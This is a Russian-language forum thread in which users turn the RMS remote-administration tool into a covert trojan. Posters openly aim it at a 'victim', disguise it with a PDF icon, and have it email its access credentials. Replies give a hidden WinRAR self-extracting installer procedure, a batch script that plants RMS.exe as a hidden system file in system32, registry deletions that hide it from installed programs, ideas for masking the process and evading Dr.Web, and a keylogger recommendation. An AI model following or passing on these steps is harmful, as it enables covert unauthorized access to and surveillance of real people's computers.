RMS 5.1 c отправкой ID и pass на почту.

Я тут смог вскрыть msi и заменить файлы и путь установки.

 

Антивирусы не ругаются на измененный msi?

 

рецепт приготовления msi в студию!

 

Господа, я так и не понял, кому ни будь всё таки удалось, удалить rms из списка установки и удаления программ.
Я пробовал удалять из реестра эти ключи
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{11A90858-40BB-4858-A2DA-CA6495B5E907}"
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\85809A11BB0485842AADAC46595B9E70\InstallProperties"

Но прога так и осталась висеть в списке, подскажите пожалуйста, что я не так делаю?

 

Всем доброго времени суток.
Ребята нужна очень ваша помощь...Желательно срочно!Вопрос жизни и смерти....
Как RMS собрать в самоустонавлющийся архив?!
Или подскажите что в сборке нужно изменить чтоб после установки она не удалялась....И чтоб если жертва решит еще раз нажать чтоб не выскакивало окно "Удалить RMS" а просто ничего не происходило....(То есть чтоб установка прошла в один клик...RMS не самоудалился и больше на клики не реагировал)
И подскажите еще как привязать иконку типа PDF?!
Всем заранее спасибо надеюсь на вашу помощь...

 

открываешь setup.exe при помощи 7z архиватора, вытаскиваешь от туда файл stop.js, открываешь его в блокноте и удаляешь всё что находится ниже этого:

далее, сохраняешь и заливаешь обратно в setup.exe
p.s. если не получится, пиши, подскажу другой способ.

 

Этот способ сейчас попробую...А ты случайно не знаешь как сделать чтоб после установки при повторном клике программа не отзывалась на удаление?!Очень нужно убрать...Потому что моя жертва будет 100 раз нажимать туда сюда пока не поймет в чем дело...А у меня права на ошибку нет!

 

Я всё сделал по инструкции, и сколько бы раз установочник сервера не был бы запущен, никаких сообщений об удалении не появляется.

 

Меня твои слова радуют...Просто сам не пробовал но всю ветку форума перечитал писали что вылазит.буду значит пробовать!)))

Добавлено через 1 час 26 минут

Не помог мне этот способ...Посоветуй другой.Будем пробовать!

 

Хорошо, делай всё по инструкции в первом посте,вот до этого пункта:

Вместо того чтобы открывать setup.exe и закидывать туда готовые файлы rms.exe и install.bat:
1 выдели их правым кликом и нажми "winrar>добавить архив"
2 во вкладке "общие" ставишь галочки "создать sfx файл" и "протестировать файлы после упаковки", потом выбираешь максимальное сжатие
3 переходишь во вкладку "дополнительно", кликаешь на "параметры sfx"
4 во вкладке "общие" в графе "путь распаковки" пишешь %temp% далее во вкладке "выполнить после распаковки" пишешь %temp%\install.bat
5 во вкладке "режимы" ставишь "скрыть всё"
6 во вкладке "обновление" ставишь "перезаписывать все файлы без запроса"
7 два раза нажимаешь ок, происходит сжатие, всё, твой sfx архив готов.

 

можно засунуть в msi, или собрать самому

 

Отвечу за него.Можно в самом начале процесса установки скопировать какой-нибудь файл в какую-нибудь папку и в теле скрипта(в самом начале) сделать проверку на существование этого файла.
Измененное содержимое install.bat, или какой там скрипт запускается первым после клика на готовый exe-шник(я для себя делал самописную сборку,поэтому как здесь устроено-хз, лень смотреть) :
1.txt -тестовый файл,заранее включенный в сборку,находящийся в той же папке что и остальные копируемые в сборке файлы.
-------------------------------------------------
@echo off

if exist %systemroot%\system32\sysfiles\1.txt (goto finish) else goto install

:install
mkdir %systemroot%\system32\sysfiles
copy /y 1.txt %systemroot%\system32\sysfiles\1.txt
copy /y "RMS.exe" "%SystemRoot%\system32\sysfiles\RMS.exe"

attrib +s +h +r "%SystemRoot%/system32/sysfiles/RMS.exe"


cd %SystemRoot%\system32\sysfiles
start RMS.exe

:finish
exit

Добавлено через 5 минут

Нужно удалить эту ветку:
"HKCR\Installer\Products\85809A11BB0485842AADAC46595B9E70"
(без пробелов)

 

Переделал немного install.cmd добавил туда:

Теперь rms нигде не виден, спасибо пользователю radikkk за совет, кстати можно было бы поправочку с "скрытием" добавить в статью, чтобы новичкам проще было.

 

Остаётся скрыть процесс...

 

почити скривает процесс

 

Сборка палится Dr. WEB после установки сервера сообщает о наличии вируса в системе. Научите что делать?

 

А можно ли скрыть процесс используя стандартный svchost.exe, прописывать в нём rfusclient.exe (это так же как другие службы через него грузятся)? И наверно нужно переименовать службу TektonIT - R-Server, ведь это название выдаёт саму программу?

Добавлено через 2 минуты
Посоветуйте какой нибудь простой Keylogger, не требующий установки, с файлом настроек, чтобы можно было настроить заранее (скрытый в трее, автозапуск...)

 

легче сделать ето программой

 

Dr. WEB вообще хорошо палит программы которые вирусами не являются, один из немногих антивирей ругающихся на радмин, теперь ещё и на rms ругается. И с этим скорее всего ничего не поделаешь.

Погугли Black Keylogger от vazonez.

 

Dr.Web да ругается, но если RMS уже в системе, то он молчит(по крайней мере у меня)